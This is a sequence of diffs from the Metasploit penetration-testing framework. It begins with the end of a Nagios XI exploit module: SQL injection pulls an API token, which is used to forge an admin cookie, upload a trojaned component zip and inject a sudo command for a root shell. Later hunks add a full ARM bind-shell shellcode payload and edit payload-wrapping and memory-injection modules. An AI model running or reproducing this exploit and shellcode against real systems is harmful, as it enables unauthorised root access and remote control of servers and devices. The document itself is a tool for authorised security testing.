session.shell_command_token(command)
end
end
#
# Exploit methods
#
def get_api_token
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
'vars_get' => {
'mode' => 'resolve',
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
'),FLOOR(RAND(0)*2))x ' \
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
}
)
if res && res.body =~ /Duplicate entry '(.*?).'/
@api_token = $1
vprint_good("API token: #{@api_token}")
else
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
end
end
def get_admin_cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/rr.php',
'vars_get' => {
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
Digest::MD5.hexdigest(@api_token)
}
)
if res && (@admin_cookie = res.get_cookies.split('; ').last)
vprint_good("Admin cookie: #{@admin_cookie}")
get_csrf_token(res.body)
else
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
end
end
def get_csrf_token(body)
if body =~ /nsp_str = "(.*?)"/
@csrf_token = $1
vprint_good("CSRF token: #{@csrf_token}")
else
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
end
end
def get_monitored_host
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/ajaxhelper.php',
'cookie' => @admin_cookie,
'vars_get' => {
'cmd' => 'getxicoreajax',
'opts' => '{"func":"get_hoststatus_table"}',
'nsp' => @csrf_token
}
)
return unless res && (html = res.get_html_document)
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
vprint_good("Monitored host: #{@monitored_host}")
else
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
end
end
def download_profile_component
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'vars_get' => {
'download' => 'profile'
}
)
if res && res.body =~ /^PK\x03\x04/
@profile_component = res.body
else
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
end
end
def upload_root_shell
mime = Rex::MIME::Message.new
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
mime.add_part('1', nil, nil, 'form-data; name="upload"')
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
mime.add_part(payload_zip, 'application/zip', 'binary',
'form-data; name="uploadedfile"; ' \
"filename=\"#{zip_filename}\"")
res = send_request_cgi!(
'method' => 'POST',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code != 200
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
vprint_warning('Nagios XI not configured')
else
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
end
end
end
def pop_dat_shell
send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
'cookie' => @admin_cookie,
'vars_get' => {
'host' => @monitored_host,
'end' => ';sudo ../profile/getprofile.sh #'
}
)
end
#
# Support methods
#
def payload_zip
zip = Rex::Zip::Archive.new
Zip::File.open_buffer(@profile_component) do |z|
z.each do |f|
zip.entries << Rex::Zip::Entry.new(
f.name,
(if f.ftype == :file
if f.name == 'profile/getprofile.sh'
payload.encoded
else
z.read(f)
end
else
''
end),
Rex::Zip::CM_DEFLATE,
nil,
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
)
end
end
zip.pack
end
#
# Utility methods
#
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end
end

View File

@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote
payload_loc = 'PATH'
payload_prefix = "/a');};};return exports;}));"
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
when 'php'
payload_loc = 'INFO_DESCRIPTION'
payload_prefix = "*/ namespace foobar; eval(base64_decode('"

View File

@ -49,6 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
],
'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub
'DisclosureDate' => 'Apr 10 2002',
'DefaultTarget' => 0))

View File

@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
print_error("#{winver} is not vulnerable.")
print_error("#{sysinfo["OS"]} is not vulnerable.")
return
end

View File

@ -14,24 +14,29 @@ class MetasploitModule < Msf::Exploit::Local
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
This module will inject a payload into memory of a process. If a payload
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'sinn3r'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 12 2011"
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => "Oct 12 2011"
))
register_options(

View File

@ -44,7 +44,7 @@ module MetasploitModule
"\x0f\x05" +# syscall #
"\x48\x97" +# xchg %rax,%rdi #
"\x52" +# push %rdx #
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x10" +# pushq $0x10 #

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit4
CachedSize = 118
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# Register command execution options
register_options(
[
OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]),
Opt::LPORT(4444)
], self.class)
end
def generate
cmd = (datastore['CMD'] || '') + "\x00"
bytehigh = (datastore['LPORT'].to_i >> 8).chr
bytelow = (datastore['LPORT'].to_i & 0xFF).chr
payload =
# turning on thumb mode
"\xe2\x8f\x60\x01" +# add r6, pc, #1 #
"\xe1\x2f\xff\x16" +# bx r6 #
# thumb mode on
# socket(2,1,0)
"\x1a\x92" +# sub r2, r2, r2 #
"\x1c\x51" +# add r1, r2, #1 #
"\x1c\x90" +# add r0, r2, #2 #
"\x02\x0f" +# lsl r7, r1, #8 #
"\x37\x19" +# add r7, r7, #0x19 #
"\xdf\x01" +# svc 1 #
"\x1c\x06" +# mov r6, r0 #
# bind()
"\x22\x02" +# mov r2, #2 #
"\x02\x12" +# lsl r2, r2, #8 #
"\x32"+bytehigh +# add r2, r2, #0xXX #
"\x02\x12" +# lsl r2, r2, #8 #
"\x32"+bytelow +# add r2, r2, #0xXX #
"\x1a\xdb" +# sub r3, r3, r3 #
"\x1b\x24" +# sub r4, r4, r4 #
"\x1b\x6d" +# sub r5, r5, r5 #
"\x46\x69" +# mov r1, sp #
"\xc1\x3c" +# stm r1!, {r2-r5} #
"\x39\x10" +# sub r1, #0x10 #
"\x22\x10" +# mov r2, #16 #
"\x37\x01" +# add r7, r7, #1 #
"\xdf\x01" +# svc 1 #
# listen()
"\x1c\x30" +# mov r0, r6 #
"\x1a\x49" +# sub r1, r1, r1 #
"\x37\x02" +# add r7, r7, #2 #
"\xdf\x01" +# svc 1 #
# accept()
"\x1c\x30" +# mov r0, r6 #
"\x1a\x92" +# sub r2, r2, r2 #
"\x37\x01" +# add r7, r7, #1 #
"\xdf\x01" +# svc 1 #
"\x1c\x06" +# mov r6, r0 #
# dup2()
"\x1a\x49" +# sub r1, r1, r1 #
"\x27\x3f" +# mov r7, #63 #
"\xdf\x01" +# svc 1 #
"\x1c\x30" +# mov r0, r6 #
"\x31\x01" +# add r1, r1, #1 #
"\xdf\x01" +# svc 1 #
"\x1c\x30" +# mov r0, r6 #
"\x31\x01" +# add r1, r1, #1 #
"\xdf\x01" +# svc 1 #
# execve()
"\x1a\x92" +# sub r2, r2, r2 #
"\x46\x78" +# mov r0, pc #
"\x30\x12" +# add r0, #18 #
"\x92\x02" +# str r2, [sp, #8] #
"\x90\x01" +# str r0, [sp, #4] #
"\xa9\x01" +# add r1, sp, #4 #
"\x27\x0b" +# mov r7, #11 #
"\xdf\x01" +# svc 1 #
# exit()
"\x1b\x24" +# sub r4, r4, r4 #
"\x1c\x20" +# mov r0, r4 #
"\x27\x01" +# mov r7, #1 #
"\xdf\x01" +# svc 1 #
cmd
end
end

View File

@ -1053,6 +1053,16 @@ RSpec.describe 'modules/payloads', :content do
modules_pathname: modules_pathname,
reference_name: 'java/shell_reverse_tcp'
end
context 'linux/armbe/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/armbe/shell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/armbe/shell_bind_tcp'
end
context 'linux/armle/adduser' do
it_should_behave_like 'payload cached size is consistent',

View File

@ -13,6 +13,8 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
gem 'rex-text'
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msfenv'
@ -112,7 +114,7 @@ case fmt
translated << ln.chomp[10,47].gsub!(/(-| )/, '')
end
from_dbg = Rex::Text.hex_to_raw(translated)
when "gdb"
translated = ''
from_dbg.each_line do |ln|

View File

@ -20,6 +20,8 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
gem 'rex-text'
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msfenv'
@ -40,7 +42,7 @@ def usage
$stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage)
exit
end
$args = Rex::Parser::Arguments.new(
"-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"],
"-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ],

View File

@ -8,6 +8,8 @@ end
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
$LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
gem 'rex-text'
require 'optparse'
module PatternCreate
@ -72,7 +74,6 @@ if __FILE__ == $PROGRAM_NAME
begin
driver.run
rescue ::StandardError => e
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
$stderr.puts "[x] #{e.class}: #{e.message}"
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
end

View File

@ -8,6 +8,8 @@ end
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
$LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
gem 'rex-text'
require 'optparse'
module PatternOffset
@ -48,7 +50,7 @@ module PatternOffset
end
options[:sets] = nil unless options[:sets]
options[:length] = 1024 unless options[:length]
options[:length] = 8192 unless options[:length]
options
end
@ -140,7 +142,6 @@ if __FILE__ == $PROGRAM_NAME
begin
driver.run
rescue ::StandardError => e
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
$stderr.puts "[x] #{e.class}: #{e.message}"
$stderr.puts "[*] If necessary, please refer to framework.log for more details."

View File

@ -9,6 +9,8 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
gem 'rex-text'
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msfenv'
@ -67,7 +69,7 @@ def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
opts['smb_pass'] = cpass
opts['frag_size'] = 512
opts['smb_client'] = csimple
Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
end
@ -131,7 +133,7 @@ if (not simple.client.auth_user)
exit(1)
end
fname = Rex::Text.rand_text_alpha(8) + ".exe"
sname = Rex::Text.rand_text_alpha(8)

View File

@ -13,6 +13,8 @@ require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
gem 'rex-text'
require 'rex'
require 'msf/ui'
require 'msf/base'

View File

@ -38,10 +38,12 @@ while File.symlink?(msfbase)
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
gem 'rex-text'
require 'msfenv'
require 'rex'
class CPassword
#
@ -128,4 +130,4 @@ if __FILE__ == $PROGRAM_NAME
else
print_good("The decrypted AES password is: #{pass}")
end
end
end